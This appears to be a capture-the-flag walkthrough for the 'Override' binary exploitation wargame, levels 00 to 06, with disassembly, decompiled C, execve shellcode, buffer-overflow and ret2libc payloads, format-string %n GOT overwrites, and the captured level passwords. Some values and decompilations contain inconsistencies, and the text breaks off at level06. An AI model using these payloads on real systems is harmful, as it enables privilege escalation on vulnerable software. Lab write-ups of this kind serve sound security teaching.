

Override Step by Step Tutorial

Login:

The login user is “level00”

The password is “level00”

Level 00:

```
RELRO          STACK CANARY    NX          PIE          RPATH          RUNPATH          FILE
Partial RELRO  No canary found  NX enabled  No PIE         No RPATH        No RUNPATH      /home/users/level00/level00
level00@Override:~$
```

If we run “file level00” and “ls -l level00” we can see that level00 is an elf binary with execution permissions of user level01

```
level00@Override:~$ file level00
level00: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24
, BuildID[sha1]=0x20352633f776024748e9f8a5ebab6686df488bcf, not stripped
level00@Override:~$ ls -l level00
-rwsr-s---+ 1 level01 users 7280 Sep 10  2016 level00
level00@Override:~$
```

Executing the file with “./level00” we get a prompt for a password:

```
level00@Override:~$ ./level00
*****
*                -Level00 -                *
*****
Password:
Invalid Password!
level00@Override:~$
```

This doesn't get us anywhere, so let's examine the binary in gdb. If we disassemble main, we can get an idea of what the program does:

```
(gdb) disassemble main
Dump of assembler code for function main:
0x08048494 <+0>:    push    ebp
0x08048495 <+1>:    mov     ebp,esp
0x08048497 <+3>:    and     esp,0xfffffff0
0x0804849a <+6>:    sub     esp,0x20
0x0804849d <+9>:    mov     DWORD PTR [esp],0x80485f0
0x080484a4 <+16>:   call    0x8048390 <puts@plt>
0x080484a9 <+21>:   mov     DWORD PTR [esp],0x8048614
0x080484b0 <+28>:   call    0x8048390 <puts@plt>
0x080484b5 <+33>:   mov     DWORD PTR [esp],0x80485f0
0x080484bc <+40>:   call    0x8048390 <puts@plt>
0x080484c1 <+45>:   mov     eax,0x804862c
0x080484c6 <+50>:   mov     DWORD PTR [esp],eax
0x080484c9 <+53>:   call    0x8048380 <printf@plt>
0x080484ce <+58>:   mov     eax,0x8048636
0x080484d3 <+63>:   lea     edx,[esp+0x1c]
0x080484d7 <+67>:   mov     DWORD PTR [esp+0x4],edx
0x080484db <+71>:   mov     DWORD PTR [esp],eax
0x080484de <+74>:   call    0x80483d0 <_isoc99_scanf@plt>
0x080484e3 <+79>:   mov     eax,DWORD PTR [esp+0x1c]
0x080484e7 <+83>:   cmp     eax,0x149c
0x080484ec <+88>:   jne     0x804850d <main+121>
0x080484ee <+90>:   mov     DWORD PTR [esp],0x8048639
0x080484f5 <+97>:   call    0x8048390 <puts@plt>
0x080484fa <+102>:  mov     DWORD PTR [esp],0x8048649
0x08048501 <+109>:  call    0x80483a0 <system@plt>
0x08048506 <+114>:  mov     eax,0x0
0x0804850b <+119>:  jmp     0x804851e <main+138>
0x0804850d <+121>:  mov     DWORD PTR [esp],0x8048651
0x08048514 <+128>:  call    0x8048390 <puts@plt>
0x08048519 <+133>:  mov     eax,0x1
0x0804851e <+138>:  leave
0x0804851f <+139>:  ret
End of assembler dump.
```

Taking a look at the main function, we can see there are calls to **puts** function, but most importantly, **scanf**.

The next few lines tell us that the user input from **scanf** is compared to **0x149c** and if it matches a call to **system** is executed with **0x8048649** as its argument.

Printing the values above gets us **5276** and **/bin/bash**

```
(gdb) p /d 0x149c
$3 = 5276
(gdb) x/s 0x8048649
0x8048649:      "/bin/sh"
(gdb)
```

After reading all the assembly we can piece together what the program does:

```
int main(void)
{
    int password;

    puts("*****");
    puts("* \t\t\t\t-Level00-\t\t\t*");
    puts("*****");
    printf("Password:");

    scanf("%d", &password);

    if (password == 5276)
    {
        puts("\nAuthenticated!");
        system("/bin/sh");
        return (0);
    }
    else
    {
        puts("\nInvalid Password!");
        return (1);
    }
}
```

Its as simple as inputting “5276” and a shell with user **level01** permissions will be created. This will allow us to read the “**.pass**” file in level01’s home giving us the password for that user, or the next level.

```
level00@OverRide:~$ ./level00
*****
*               -Level00 -               *
*****
Password:5276

Authenticated!
$ whoami
level01
$ cat ../level01/.pass
uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL
$
```

The password is “uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL”

Level01:

Run “su level01” with “uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL”

```
level00@Override:~$ su level01
Password:
RELRO          STACK CANARY      NX            PIE            RPATH          RUNPATH        FILE
Partial RELRO   No canary found  NX disabled   No PIE         No RPATH       No RUNPATH     /home/users/level01/level01
level01@Override:~$
```

First thing we can see is that the **NX** bit is disabled, making the **stack executable**. This might be useful later.

Same thing as last time, “level01” has setuid of level02.

```
level01@Override:~$ file level01
level01: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared li
bs), for GNU/Linux 2.6.24, BuildID[sha1]=0x923fd646950abba3d31df70cad30a6a5ab5760e8, not stripped
level01@Override:~$ ls -l level01
-rwsr-s---+ 1 level02 users 7360 Sep 10  2016 level01
level01@Override:~$
```

Running the program prompts us for a username this time:

```
level01@Override:~$ ./level01
***** ADMIN LOGIN PROMPT *****
Enter Username: verifying username....

nope, incorrect username...
```

We don't know what the correct username is. Let's look at the assembly code:

```
(gdb) disassemble verify_user_name
Dump of assembler code for function verify_user_name:
0x08048464 <+0>: push    ebp
0x08048465 <+1>: mov     ebp,esp
0x08048466 <+2>: push    edi
0x08048467 <+3>: push    esi
0x08048468 <+4>: push    esi
0x08048469 <+5>: sub     esp,0x10
0x0804846c <+8>: mov     DWORD PTR [esp],0x8048690
0x08048473 <+15>: call    0x8048380 <puts@plt>
0x08048478 <+20>: mov     edx,0x804a040
0x0804847d <+25>: mov     eax,0x80486a8
0x08048482 <+30>: mov     ecx,0x7
0x08048487 <+35>: mov     esi,edx
0x08048489 <+37>: mov     edi,eax
0x0804848b <+39>: repz    cmpsb BYTE PTR ds:[esi],BYTE PTR es:[edi]
0x0804848d <+41>: seta    dl
0x08048490 <+44>: setb    al
0x08048493 <+47>: mov     ecx,edx
0x08048495 <+49>: sub     cl,al
0x08048497 <+51>: mov     eax,ecx
0x08048499 <+53>: movsx   eax,al
0x0804849c <+56>: add     esp,0x10
0x0804849f <+59>: pop     esi
0x080484a0 <+60>: pop     edi
0x080484a1 <+61>: pop     ebp
0x080484a2 <+62>: ret
End of assembler dump.
(gdb) disassemble verify_user_pass
Dump of assembler code for function verify_user_pass:
0x080484a3 <+0>: push    ebp
0x080484a4 <+1>: mov     ebp,esp
0x080484a6 <+3>: push    edi
0x080484a7 <+4>: push    esi
0x080484a8 <+5>: mov     eax,DWORD PTR [ebp+0x8]
0x080484ab <+8>: mov     edx,eax
0x080484ad <+10>: mov     ecx,0x80486b0
0x080484b2 <+15>: mov     ecx,0x5
0x080484b7 <+20>: mov     esi,edx
0x080484b9 <+22>: mov     edi,eax
0x080484bb <+24>: repz    cmpsb BYTE PTR ds:[esi],BYTE PTR es:[edi]
0x080484bd <+26>: seta    dl
0x080484c0 <+29>: setb    al
0x080484c3 <+32>: mov     ecx,edx
0x080484c5 <+34>: sub     cl,al
0x080484c7 <+36>: mov     eax,ecx
0x080484c9 <+38>: movsx   eax,al
0x080484cc <+41>: pop     esi
0x080484cd <+42>: pop     edi
0x080484ce <+43>: pop     ebp
0x080484cf <+44>: ret
End of assembler dump.
```

Both **verify_user_name** and **verify_user_pass** perform a comparison via the **repz cmps** instruction. meaning it will run a bit comparison until the zero bit is set or ecx bits have been read (0x7 and 0x5), equal to **strncmp** call

We can also extract the correct values by printing the memory at **0x80486a8** -> “dat_wil” (username) and at **0x80486b0** -> “admin” (password)

```
int verify_user_name(char *str)
{
    puts("verifying username...\n");
    return (strncmp("dat_wil", str, 7)); // 0x7
}

int verify_user_pass(char *str)
{
    return (strncmp("admin", str, 5)); // 0x5
}
```

As for the main function :

```
Dump of assembler code for function main:
0x080484d0 <+0>:    push    ebp
0x080484d1 <+1>:    mov     ebp,esp
0x080484d3 <+3>:    push    edi
0x080484d4 <+4>:    push    ebx
0x080484d5 <+5>:    and     esp,0xffffffff
0x080484d8 <+8>:    sub     esp,0x60
0x080484db <+11>:   lea     ebx,[esp+0x1c]
0x080484df <+15>:   mov     eax,0x0
0x080484e4 <+20>:   mov     edx,0x10
0x080484e9 <+25>:   mov     edi,ebx
0x080484eb <+27>:   mov     ecx,edx
0x080484ed <+29>:   rep stos DWORD PTR es:[edi],eax
0x080484ef <+31>:   mov     DWORD PTR [esp+0x5c],0x0
0x080484f7 <+39>:   mov     DWORD PTR [esp],0x80486b8
0x080484fe <+46>:   call    0x8048380 <puts@plt>
0x08048503 <+51>:   mov     eax,0x80486df
0x08048508 <+56>:   mov     DWORD PTR [esp],eax
0x0804850b <+59>:   call    0x8048360 <printf@plt>
0x08048510 <+64>:   mov     eax,ds:0x804a020
0x08048515 <+69>:   mov     DWORD PTR [esp+0x8],eax
0x08048519 <+73>:   mov     DWORD PTR [esp+0x4],0x100
0x08048521 <+81>:   mov     DWORD PTR [esp],0x804a040
0x08048528 <+88>:   call    0x8048370 <fgets@plt>
0x0804852d <+93>:   call    0x8048464 <verify_user_name>
0x08048532 <+98>:   mov     DWORD PTR [esp+0x5c],eax
0x08048536 <+102>:  cmp     DWORD PTR [esp+0x5c],0x0
0x0804853b <+107>:  je      0x8048550 <main+128>
0x0804853d <+109>:  mov     DWORD PTR [esp],0x80486f0
0x08048544 <+116>:  call    0x8048380 <puts@plt>
0x08048549 <+121>:  mov     eax,0x1
0x0804854e <+126>:  jmp     0x80485af <main+223>
0x08048550 <+128>:  mov     DWORD PTR [esp],0x804870d
0x08048557 <+135>:  call    0x8048380 <puts@plt>
0x0804855c <+140>:  mov     eax,ds:0x804a020
0x08048561 <+145>:  mov     DWORD PTR [esp+0x8],eax
0x08048565 <+149>:  mov     DWORD PTR [esp+0x4],0x64
0x0804856d <+157>:  lea     eax,[esp+0x1c]
0x08048571 <+161>:  mov     DWORD PTR [esp],eax
0x08048574 <+164>:  call    0x8048370 <fgets@plt>
0x08048579 <+169>:  lea     eax,[esp+0x1c]
0x0804857d <+173>:  mov     DWORD PTR [esp],eax
0x08048580 <+176>:  call    0x80484a3 <verify_user_pass>
0x08048585 <+181>:  mov     DWORD PTR [esp+0x5c],eax
0x08048589 <+185>:  cmp     DWORD PTR [esp+0x5c],0x0
0x0804858e <+190>:  je      0x8048597 <main+199>
0x08048590 <+192>:  cmp     DWORD PTR [esp+0x5c],0x0
0x08048595 <+197>:  je      0x80485aa <main+218>
0x08048597 <+199>:  mov     DWORD PTR [esp],0x804871e
0x0804859e <+206>:  call    0x8048380 <puts@plt>
0x080485a3 <+211>:  mov     eax,0x1
0x080485a8 <+216>:  jmp     0x80485af <main+223>
0x080485aa <+218>:  mov     eax,0x0
0x080485af <+223>:  lea     esp,[ebp-0x8]
```

The main function creates a character array of size 16, immediately zeroing all 16 bits through the **rep stos** instructions, equal to **bzero** call. Then **reads 256** bits from **stdin** into the array with **fgets**.

The input gets checked by **verify_user_name**. If the username matches 0 is returned and another **fgets** call is executed to prompt us for a password.

This password is then checked by **verify_user_pass**. If the password matches, it returns 0 and exits, but if it doesn't match, it returns 1 and exits. This means the program itself doesn't do anything helpful to us.

```
int main(void)
{
    char str[16];
    bzero(str, 16);

    puts("***** ADMIN LOGIN PROMPT *****");
    printf("Enter Username: ");
    fgets(str, 256, stdin); // 0x100

    if (verify_user_name(str) != 0)
    {
        puts("nope, incorrect username...\n");
        return (1);
    }

    puts("Enter Password: ");
    fgets(str, 100, stdin); // 0x64

    int ret = verify_user_pass(str);
    if (ret == 0)
    {
        puts("nope, incorrect password...\n");
        return (1);
    }

    if (ret == 0)
    {
        return (0);
    }
}
```

We can see there's a big issue with this code, in both cases the **fgets** call reads more bytes than our array can hold (**256** and **100 > 16**), meaning that both calls can cause a **buffer overflow**, allowing us to overwrite memory on the stack.

We previously saw that the **NX** bit was not set, making the stack executable, so weather 1st step is to inject code that will run a shell. To do this we need to figure out a few things:

The address of our array

The code to inject

The address is fairly easy to find, if we go back to our assembly dump, just before the **fgets** call we can see the arguments it setup. The first argument is at the **top of the stack [esp]** at **0x804a040**

As for the shellcode, we can go to the **shell-storm.org** website and look up the code for a simple **execve shell**, since the stack is executable.

```
xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80
```

This is our shell code:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" which translates to this assembly

What this actually does is loading the **execve** call and **"/bin/sh"** into the stack. Preparing it to be accessed later

The 2nd step involves something a bit more complex:

Find the **EIP (extended stack pointer)**;

Find the stack memory offset;

Overwrite **EIP** with the address of our array

We need to calculate the memory offset of our input. The simplest way to do that is to run the program in a debugger and pass it as very long string of **"A" (0x41)**

Run **"gdb level01"**, place a breakpoint in **verify_user_pass** with **"br verify_user_pass"**, where it gets loaded onto the stack. Make sure to pass **"dat_wil"** as the username. Once we hit the breakpoint, print the first 24 words on the stack with **"x/24wx \$esp"**

```
(gdb) x/24wx $esp
0xffffd6a0: 0x00000000 0xffffd70c 0xffffd718 0x0048585
0xffffd6b0: 0xffffd6cc 0x00000064 0xf7cfac0 0xf7ec34fb
0xffffd6c0: 0xffffd8d9 0x0000002f 0xffffd71c 0x61616161
0xffffd6d0: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd6e0: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd6f0: 0x61616161 0x61616161 0x61616161 0x61616161
(gdb) x/ 0xffffd6c0+12
0xffffd6cc: 0x61616161
(gdb)
```

As you can see, our “AAAAAA” string is located at **0xffffd6cc on the stack**. If we step all instructions until we exit the `verify_user_pass` function (**si instruction**), returning to main, run “**info frame**” and we can see the address of the **EIP**. after we can simply subtract the address of our password to EIP and we get the **offsett (80)**

```
(gdb) info frame
Stack level 0, frame at 0xffffd720:
eip = 0x8048585 in main; saved eip 0xf7e45513
Arglist at 0xffffd718, args:
Locals at 0xffffd718, Previous frame's sp is 0xffffd720
Saved registers:
  ebp at 0xffffd710, ebp at 0xffffd718, edi at 0xffffd714, eip at 0xffffd71c
(gdb) p /d 0xffffd71c - 0xffffd6cc
$2 = 80
(gdb)
```

All that’s left is to build our payload in order to open our shell. We’ll use python to print its contents then pipe it to **level01**.

```
(python -c "print 'dat_wil' +
'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x
b0\x0b\xcd\x80\n' + 80 * '\x90' + '\x47\xa0\x04\x08'; cat) | ./level01
```

We give it the correct password so that it passes the first check, then **overflow the buffer** to push our shellcode onto the stack. After that we need to **overwrite the EIP** so we pass **80 NOP (no operation) instructions**, that will place us exactly at the EIP address, lastly we place the address of our shellcode as the next instruction. This address is our base input address + 7 bytes, so we can skip the username. Note that due to the endianness of the OS we need to reverse the byte addresses.

We use **cat** to keep the standard in of our shell open, otherwise the command will close it after printing our payload.

Running that command gets us a shell were we can read the password for **level02** “**PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv**”

```
level01@OverRide:~$ (python -c "print 'dat_wil' + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x
\x53\x89\xe1\xb0\x0b\xcd\x80\n' + 80 * '\x90' + '\x47\xa0\x04\x08'; cat) | ./level01
***** ADMIN LOGIN PROMPT *****
Enter Username: verifying username....

Enter Password:
nope, incorrect password...

whoami
level02
cd ../level02
cat .pass
PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv
```


Level02:

Run “su level02” with “PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv”

After disassembling the binary we get:

```
int main(int argc, char *argv[]) {
    char buffer1[112]; // 0x70
    char buffer2[48]; // 0x20
    char buffer3[112]; // 0x110
    FILE *file = NULL;
    int ac = argc;
    char **av = argv;

    memset(buffer1, 0, 96); // 0xc -> 12*8 = 96
    memset(buffer2, 0, 40); // 0x5 -> 5*8 = 40
    memset(buffer3, 0, 96); // 0xc -> 12*8 = 96

    file = NULL;
    int bytes = 0;

    file = fopen("file_path", "r");
    if (file == NULL) {
        fwrite("ERROR: failed to open password file\n", 1, 36, stderr);
        exit(1);
    }

    bytes = fread(buffer2, 1, 41, file); // 0x29 -> 41
    size_t pos = strcspn(buffer2, "\n");
    buffer2[pos] = '\0';

    if (bytes != 41) {
        fwrite("ERROR: failed to read password file\n", 1, 36, stderr);
        exit(1);
    }

    close(file);

    puts("==== [ Secure Access System v1.0 ] =====");
    puts("/*****");
    puts("| You must login to access this system. |");
    puts("\\"****");

    printf("-- [ Username: ");
    fgets(buffer1, 100, stdin);
    pos = strcspn(buffer1, "\n");
    buffer1[pos] = '\0';

    printf("-- [ Password: ");
    fgets(buffer3, 100, stdin);
    pos = strcspn(buffer3, "\n");
    buffer3[pos] = '\0';

    puts("*****");
    if (strncmp(buffer2, buffer3, 41) != 0) {
        printf(buffer1);
        puts(" does not have access!");
        exit(1);
    }

    printf("Greetings, %s!\n", buffer1);
    system("/bin/sh");
    return 0;
}
```


After examining the code, there's no apparent vulnerability, but upon a closer inspection, we can see that the user can control the argument to **printf**. And since there is no **format string**, **buffer1** will be treated as the format string. This can cause a buffer overflow if any format specifiers are present in **buffer1**.

We can abuse this overflow to print out the stack, and since the password gets read from the file into **buffer2**, which is on the stack, we can also read its contents.

To do so, we first need to calculate its position. since this is a **64-bit ELF**, each address on the stack is **8-bit**. The address of **buffer2** is **\$rbp-0xa0** (160->168) and the stack is at **\$rbp-0x120** (288). $168 / 8 + 1 = 22$ and $40 / 8 = 5$ so we need to read 5 8-bit words from the stack starting at the 22nd.

```
level02@OverRide:~$ echo '%22$p%23$p%24$p%25$p%26$p' | ./level02
==== [ Secure Access System v1.0 ] ====
/*****
| You must login to access this system. |
\*****/
--[ Username: --[ Password: *****/
0x756e5052343768480x45414a35617339510x377a7143574e67580x354a35686e4758730x48336750664b394d does not have access!
level02@OverRide:~$
```

Passing “%22\$p%23\$p%24\$p%25\$p%26\$p” to **level02**, it prints the pointer values of the password. We just need to pass these values to our decoding script and we get the password “Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H”

```
#!/usr/bin/env python3

def main() -> None:
    password : str = "0x756e5052343768480x45414a35617339510x377a7143574e67580x354a35686e4758730x48336750664b394d"
    password : list[bytes] = [bytes.fromhex(chunk) for chunk in password.split("0x")]

    for chunk in password:
        print(chunk.decode('ascii')[::-1], end='')
    print()

if __name__ == "__main__":
    main()
```

```
→ override git:(main) ./level02/resources/decode.py
Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H
```

Level03:

Run “su level03” with “Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H”

```
level02@Override:~$ su level03
Password:
RELRO      STACK CANARY      NX            PIE            RPATH      RUNPATH      FILE
Partial RELRO Canary found  NX enabled    No PIE       No RPATH     No RUNPATH   /home/users/level03/level03
level03@Override:~$
```

```
level03@Override:~$ file level03 ; ls -l level03
level03: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared li
bs), for GNU/Linux 2.6.24, BuildID[sha1]=0x9e834af52f4b2400d5bd38b3dac04d1a5faa1729, not stripped
-rwsr-s---+ 1 level04 users 7677 Sep 10 2016 level03
level03@Override:~$
```

After disassembling we get:

```
void decrypt(int value)
{
    char str[17] = "Q}|u`sf~sf{|a3";

    int len = strlen(str);
    for (int i = 0; i < len; ++i)
        str[i] = str[i] ^ value;

    if (strncmp(str, "Congratulations!", 17) == 0)
        system("/bin/sh");
    else
        puts("\nInvalid Password");
}

void test(int input, int pwd)
{
    int diff = pwd - input;

    if (diff > 21) //
        decrypt(rand());
    else
        decrypt(diff);
}

int main(void)
{
    int input;

    srand(time(0));

    puts("*****");
    puts("*\t\tlevel03\t\t*");
    puts("*****");

    printf("Password:");
    scanf("%d", &input);

    test(input, 0x1337d00d); // 322424845

    return 0;
}
```

From the code above we can see that the program takes some user input, then calculates the **difference** between **0x1337d00d (322424845)** and our input. Then it performs a **XOR** with each character of the string **"Q}|u`sfg~sf{}|a3"** with sad **diff**. With the correct input, the outcome of this is **"Congratulations!"**, this will allow us to open a shell with **level04** permissions.

We can bruteforce the correct value by performing the same **XOR** operations until the result matches with the correct password. We know the **diff** is under **21** because of the **rand()** call, using a random value wouldn't work for a password check.

```
#!/bin/env python3

def main() -> None:

    pwd : str = 'Congratulations!'
    hash : str = 'Q}|u`sfg~sf{}|a3'

    for x in range(0, 22):
        res : list[int] = []
        for i in hash:
            res.append(ord(i) ^ x)

        password : str = ''.join(map(chr, res))
        if password == pwd:
            print(f'diff = {x}, password = {0x1337d00d - x}')
            break

if __name__ == '__main__':
    main()
```

Running our script we get:

```
➔ override git:(main) X ./level03/resources/decode.py
diff = 18, password = 322424827
```

Using **32242487** as our input, we get a shell. Then we can read the **".pass"** file to get the password for **level04**:

"kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf"

```
level03@OverRide:~$ ./level03
*****
*                  level03                *
*****
Password:322424827
$ whoami
level04
$ cd ../level04
$ cat .pass
kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf
$
```

Level04:

Run “su level04” with “kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf”

```
level03@Override:~$ su level04
Password:
RELRO          STACK CANARY      NX            PIE            RPATH          RUNPATH        FILE
Partial RELRO  No canary found  NX disabled   No PIE         No RPATH       No RUNPATH     /home/users/level04/level04
level04@Override:~$

level04@Override:~$ file level04 ; ls -l level04
level04: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses
shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x7386c3c1bbd3e4d8fc85f88744379783bf327fd7, not stripped
-rwsr-s---+ 1 level05 users 7797 Sep 10 2016 level04
level04@Override:~$
```

After disassembling we get:

```
int main(void)
{
    pid_t id = fork();
    char arr[32];
    int status;
    long trace;

    memset(arr, 0, 32); // 0x20

    if (id == 0)
    {
        prctl(1, 1);
        ptrace(0, 0, 0, 0);

        puts("Give me some shellcode, k");
        gets(arr);
        return (0);
    }
    else
    {
        while (1) // 0xb
        {
            wait(&status);
            if (WIFEXITED(status) == 1 || WIFSIGNALED(status) == 0)
            {
                puts("child is exiting...");
                break;
            }
            else
            {
                trace = ptrace(PTRACE_PEEKUSER, id, 44, 0); // 0x3 id 0x2c 0x0
                if (trace == 11); // 0xb
                {
                    puts("no exec() for you");
                    kill(id, SIGKILL); // 0x9
                    break;
                }
            }
        }
    }
    return (0);
}
```

We can see in the code above that **gets** is the point of attack, since it allows us to overflow the **buffer**. We can perform a **ret2libc** attack by overwriting the **EIP** address with the functions **system** and **exit**, and by pushing **"/bin/sh"** on the stack.

Step 1 is to calculate the EIP offset from our buffer. We can find these addresses by debugging the program with gdb: **0xffffd71c** (eip) and **0xffffd680** (buffer). Then we subtract **buffer** from **eip**: **0xffffd71c - 0xffffd680 = 156**

Step 2 is to find the address of **system**, **exit** and **"/bin/sh"**. For the function addresses we can run **"print system"** and **"print exit"** to get **0xf7e6aed0** and **0xf7e5eb70** respectively. Since **libc** is loaded into memory, we can search for **"/bin/sh"** with **find &system,+9999999, "/bin/sh"**, getting **0xf7f897ec**.

To perform the exploit we execute **"(python -c "print '\x90'*156 + '\xd0\xae\xe6\xf7' + '\x70\xeb\xe5\xf7' + '\xec\x97\xf8\xf7'; cat) | ./level04"**

We have a shell with user **level05** permissions, so we can simply move to its home directory at **"cat .pass"** to get the password:

"3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN"

```
level04@OverRide:~$ (python -c "print '\x90'*156 + '\xd0\xae\xe6\xf7' + '\x70\xeb\xe5\xf7' + '\xec\x97\xf8\xf7'; cat) | ./level04
Give me some shellcode, k
whoami
level05
cd ../level05
cat .pass
3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN
```

Level05:

Run “su level05” with “3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN”

```
level05@Override:~$ su level05
Password:
RELRO                STACK CANARY      NX                PIE                RPATH            RUNPATH           FILE
No RELRO             No canary found  NX disabled      No PIE             No RPATH         No RUNPATH        /home/users/level05/level05
level05@Override:~$
level05@Override:~$ file level05 ; ls -la level05
level05: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x1a9c02d3aeffff53ee0aa8c7730cbcb1ab34270e, not stripped
-rwsr-s---+ 1 level06 users 5176 Sep 10  2016 level05
level05@Override:~$
```

After disassembling we get:

```
int main()
{
    char buffer[40]; // 0x28
    fgets(buffer, 100, stdin);

    int i = 0;
    while (buffer[i] != '\0') {
        if (buffer[i] > '@' && buffer[i] <= 'Z') {
            // tolower()
            buffer[i] ^= 32; // 0x20
        }
        i++;
    }

    print(buffer);
    exit(0);
}
```

A quick review of the code shows us a few vulnerabilities. The **fgets** call reads 100 characters into a buffer of size 40, causing a buffer overflow. The program also gives control of the **printf format string** to the user, meaning we can use this to exploit it.

We can't use **fgets** to inject shellcode since the **EIP** address is more than 100 characters away. So no angle of attack here.

However, the second vulnerability is more useful to us. We can dump the stack by controlling the **format** string. By inputting “%x %x %x %x” we can print the **top 4 addresses of the stack**.

```
level05@Override:~$ ./level05
"%x %x %x %x"
"64 f7fcfac0 0 0"
```

But more interestingly, we can write arbitrary data to the stack with the “%n” specifier. This allows us to write the number of printed bytes to the stack.

Further inspection of the code, shows us that the **exit** call is called indirectly through the **GOT (global offset table)**, meaning we can try to override the data at that address allowing us to inject some **shellcode** at the address **0x80497e0**

We can save our shellcode by **exporting** it to the **env** with “**export SHELLCODE=\$(python -c 'print "\x90"*100 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80")'**”. Using **gdb** , we can find its address at **0xffffd885**

We can also use **gdb** to find the position of our input, meaning the **word index** in the stack. A **word** is made of **4 bytes**, so we can use “**p /32wx \$esp**” to print 32 words from the stack. Using “**aaaabbbb**” as input, we can find **0x61616161** and **0x62626262** as the **10th** and **11th** word.

```
level05@Override:~$ ./level05
aaaabbbb %10$x %11$x
aaaabbbb 61616161 62626262
level05@Override:~$
```

For the exploit to work, we need to write **0xffffd885 (4294957189)** bytes to the address **0x80497e0**. This won't work as the value is too big, so we'll need to split it into two. We need to write **0xffff (55421)** to **0x80497e0** and **0xd885 (10106)** to **0x80497e2**. Inputting these many bytes manually is impossible, so we can use the padding feature of **printf** in combination with the **short** format specifier, meaning only 2 bytes will be written instead of 4.

This is how our exploit will look like:

```
(python -c 'print "\x08\x04\x97\xe0"[::-1]+\x08\x04\x97\xe2"[::-1]+ "%55421x%10$hn%10106x%11$hn"; cat) | ./level05
```

```
level05@Override:~$ export SHELLCODE=$(python -c 'print "\x90"*100 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"')
level05@Override:~$ (python -c 'print "\x08\x04\x97\xe0"[::-1]+\x08\x04\x97\xe2"[::-1]+ "%55421x%10$hn%10106x%11$hn"; cat) | ./level05
```

The password is: “**h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq**”

```
whoami
level06
cd ../level06
cat .pass
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq
```


Level06:

Run “su level06” with “h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq”

```
level08@OverRide:~$ su level06
Password:
RELRO          STACK CANARY      NX            PIE            RPATH        RUNPATH        FILE
Partial RELRO  Canary found      NX enabled    No PIE         No RPATH      No RUNPATH     /home/users/level06/level06
level06@OverRide:~$

level06@OverRide:~$ file level06 ; ls -l level06
level06: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs
), for GNU/Linux 2.6.24, BuildID[sha1]=0x459bcb819bfdde7ecfa5612c8445e7dd0831cc48, not stripped
-rwsr-s---+ 1 level07 users 7907 Sep 10 2016 level06
level06@OverRide:~$
```

After disassembling we get these 2 functions:

```
int main(int argc, char **argv)
{
    unsigned int serial = 0;
    char buffer[0x20]; // 32

    puts("*****");
    puts("*\t\tlevel06\t\t*");
    puts("*****");

    printf("-> Enter Login: ");
    fgets(buffer, 0x20, stdin);

    puts("*****");
    puts("***** NEW ACCOUNT DETECTED *****");
    puts("*****");

    printf("-> Enter Serial: ");
    scanf("%u", &serial);

    if (auth(buffer, serial) == 0)
    {
        puts("Invalid Password!");
        return 1;
    }

    puts("Authenticated!");
    system("/bin/sh");
    return 0;
}
```

```

int auth(char *login, unsigned int serial)
{
    size_t pos = strchrn(login, "\n");
    login[pos] = '\0';
    size_t len = strlen(login, 0x20); // 32

    if (len <= 0x5)
        return 1;

    if (ptrace(PTRACE_TRACEME, 1, NULL, NULL) == -1); // 0xffffffff
    {
        puts("\033[32m-----.");
        puts("\033[31m| !! TAMPERING DETECTED !! |");
        puts("\033[32m'-----'");
        return 1;
    }

    int hash = (login[3]) ^ 0x1337 + 0x5eeded;

    for (size_t i = 0; i < len; i++)
    {
        if (login[i] <= 0x1f)
            return 1;
        int temp = login[i] ^ hash;
        int result = ((temp - ((unsigned int)((unsigned long long)temp * 0x88233b2b) >> 32)) >> 1) + ((unsigned int)((unsigned long long)temp * 0x88233b2b) >> 32);
        hash += temp - (result >> 10) * 0x539;
    }

    if (serial != hash)
        return 1;

    return 0;
}

```

Looking at the code above, there's no actual vulnerability, so our only solution is to input a **login** and **serial** combination that satisfies the algorithm in the **auth** function.

```

